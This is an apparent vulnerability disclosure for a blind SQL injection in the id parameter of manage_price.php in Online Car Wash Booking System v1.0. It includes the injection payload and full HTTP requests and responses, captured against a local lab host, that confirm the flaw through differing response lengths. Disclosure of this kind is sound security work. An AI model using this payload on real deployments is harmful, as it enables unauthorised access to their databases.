

main

...

bug_report / vendors / oretnom23 / online-car-wash-booking-system / SQLi-10.md



debug601 Create SQLi-10.md

History

1 contributor

35 lines (23 sloc) | 1.44 KB

...

Online Car Wash Booking System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html>

Vulnerability File: /ocwbs/admin/services/manage_price.php?id=

Vulnerability location: /ocwbs/admin/services/manage_price.php?id=, id

Current database name: ocwbs_db,length is 8

[+] Payload: /ocwbs/admin/services/manage_price.php?

id=2%27%20and%20length(database())%20=8--+ // Leak place ---> id

```
GET /ocwbs/admin/services/manage_price.php?id=2%27%20and%20length(database())%20=8--+
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqitadqht6jna5
Connection: close
```

When length (database ()) = 7, Content-Length: 4256

Load URL

Split URL

Execute

http://192.168.1.19/ocwbs/admin/services/manage_price.php?id=2' and length(database()) = 7--+

☐ Post data☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert re

Vehicle Type

Price

2 wheeler

3 wheeler

4 Wheeler

6 wheeler

10 wheeler

```
GET
/ocwbs/admin/services/manage_price.php?id=2%27%20and%20l
ength(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqqtadqht6jna5
Connection: close

HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:33:32 GMT
Server: Apache/2.4.41 (win64) OpenSSL/1.1.1c PHP/7.4.
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4256
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
/* Chrome, Safari, Edge, Opera */
input[name="price[]"]::-webkit-outer-spin-but
input[name="price[]"]::-webkit-inner-spin-but
-webkit-appearance: none;
margin: 0;
```

When length (database ()) = 8, Content-Length: 4279

```
GET
/ocwbs/admin/services/manage_price.php?id=2%27%20and%20l
ength(database())%20=8--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qr1o26kvu55cqqtadqht6jna5
Connection: close





HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:33:54 GMT
Server: Apache/2.4.41 (win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4279
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
/* Chrome, Safari, Edge, Opera */
input[name="price[]"]::-webkit-outer-spin-button,
input[name="price[]"]::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0;
}

/* Firefox */
```

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTTP/2

Load URL Split URL Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64 

Vehicle Type

Price

2 wheeler

3 wheeler

4 Wheeler

6 wheeler

10 wheeler